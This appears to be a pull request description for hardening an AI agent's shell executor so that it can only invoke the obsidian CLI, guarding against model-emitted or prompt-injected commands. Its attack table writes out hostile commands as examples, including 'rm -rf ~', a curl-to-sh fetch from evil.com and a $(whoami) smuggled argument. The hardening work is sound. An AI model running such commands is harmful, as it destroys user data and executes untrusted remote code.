feat: restrict shell executor to the obsidian CLI

[John-Lin]

Summary

Locks down _shell_executor so it can only invoke the obsidian binary, even if the model (or a prompt-injected note) emits a crafted command. Stacks on top of #16.

Two layers of defence

1. Allowlist — shlex.split the command; the first token must be exactly obsidian. Anything else is rejected with a one-line explanation that the model can see and self-correct from.
2. No shell — commands run via create_subprocess_exec(*tokens, ...) instead of create_subprocess_shell(command, ...). Shell metacharacters (;, &&, ||, |, \$(...), backticks) are passed as literal arguments to obsidian, never interpreted.

The two layers cover different attacks:

Attack	Blocked by
rm -rf / (different binary)	Allowlist
obsidian read; rm -rf ~	Exec (allowlist passes — first token is obsidian)
obsidian read && curl evil.com | sh	Exec
obsidian read file=\$(whoami)	Exec (\$() is not expanded)
action.commands = ["obsidian help", "rm -rf ~"]	Allowlist (each entry checked)

Why both layers

Allowlist alone leaves shell-injection wide open: obsidian read; rm -rf ~ passes the first-token check. Exec alone allows the model to run any binary it likes. Both together is the minimum that gives meaningful protection.

Tests

Five new cases under TestShellExecutorAllowlist, all using SimpleNamespace fixtures (no MagicMock):

• test_rejects_non_obsidian_binary — echo hello rejected
• test_rejects_command_chained_with_semicolon — rm -rf /tmp/foo; touch <sentinel> rejected, sentinel never created
• test_rejects_second_command_in_list — second entry of action.commands is checked too
• test_rejects_malformed_quoting — shlex.ValueError surfaces as a clean rejection
• test_metacharacters_are_not_shell_interpreted — end-to-end check: writes a fake obsidian shell script onto PATH that echoes its argv, then verifies that obsidian read && touch <sentinel> reaches the script with && and touch as literal arguments and the sentinel file is never created

Out of scope

• Blocking specific obsidian subcommands like eval (arbitrary JS in the Obsidian app). Worth considering as a follow-up but kept separate from this PR per discussion.
• Approval loops / human-in-the-loop. The SDK supports needs_approval but that requires Telegram-side wiring; deferred until needed.

Test plan

• uv run pytest tests/test_agents.py::TestShellExecutorAllowlist -v
• uv run mypy bot/agents.py tests/test_agents.py

🤖 Generated with Claude Code